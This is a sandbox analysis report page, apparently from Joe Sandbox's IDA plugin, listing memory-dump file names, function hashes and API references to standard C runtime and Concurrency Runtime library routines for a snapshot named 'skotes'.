Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: e67537cdf22b51a2ec23f4f23b4c19eaca86811cc05ede8668aad2d736382580
Instruction ID: b5b75698ead151d4f7cfa67d6504da341144601c6e8ba1b075ca7124c253a565
Opcode Fuzzy Hash: e67537cdf22b51a2ec23f4f23b4c19eaca86811cc05ede8668aad2d736382580
Instruction Fuzzy Hash: 3F01D131601625FFCA267B61D9C2E7EBB69BFC47103040129F60497632DB20FC2187E0

Function 009FD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 009FD0C5
ListArray.LIBCONCRT ref: 009FD0D7

Part of subcall function 009FC6B2: _InternalDeleteHelper.LIBCONCRT ref: 009FC6C4

ListArray.LIBCONCRT ref: 009FD0E1
_InternalDeleteHelper.LIBCONCRT ref: 009FD0FA

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: a0f22d1cb5fea56c0f6f82e4412dd53b09f2c4da66264882b9ce14e70e5972ff
Instruction ID: 79ec31ec08c0f5b2eb0a6f9adf2a43e9fe11675f3f7f3ff8e0d7bf41931652c8
Opcode Fuzzy Hash: a0f22d1cb5fea56c0f6f82e4412dd53b09f2c4da66264882b9ce14e70e5972ff
Instruction Fuzzy Hash: 9A01D671606529FFCA267B61CA82E7DB76ABFC47103045129F60497612DF20AC5187D0

Function 00A033C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00A033DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00A033EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00A03407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00A0341F

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: b8060b6ad3cd8d0fee7e7f93106080e37e7e75d19da186ceb452ad662f53a3d7
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 6901D63360051CA7CF16EE55A881AEF77ADDF94350F100055FE12AF2C2DA71EE1097A1

Function 009F9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 009F9519

Part of subcall function 009EF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 009F5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 009F953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 009F9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 009F9559

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 8cb35d249a4dc2bdcbf3e58e7442dd05e3b31b67b0c3522fad49e773731f0dc6
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: AFF0A770600A285EE662AB589811F7B23989F80715F00841EFA1B97182CE24E842CB51

Function 009EEFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 009EEFD1

Part of subcall function 009EF968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 009EF989
Part of subcall function 009EF968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 009EF9C0
Part of subcall function 009EF968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 009EF9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 009EEFDD

Part of subcall function 009EF40F: Concurrency::critical_section::unlock.LIBCMT ref: 009EF433

Concurrency::Context::Block.LIBCONCRT ref: 009EEFE2

Part of subcall function 009F0366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 009F0368

Concurrency::critical_section::lock.LIBCONCRT ref: 009EF002

Part of subcall function 009EF891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 009EF8AC
Part of subcall function 009EF891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 009EF8B7

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
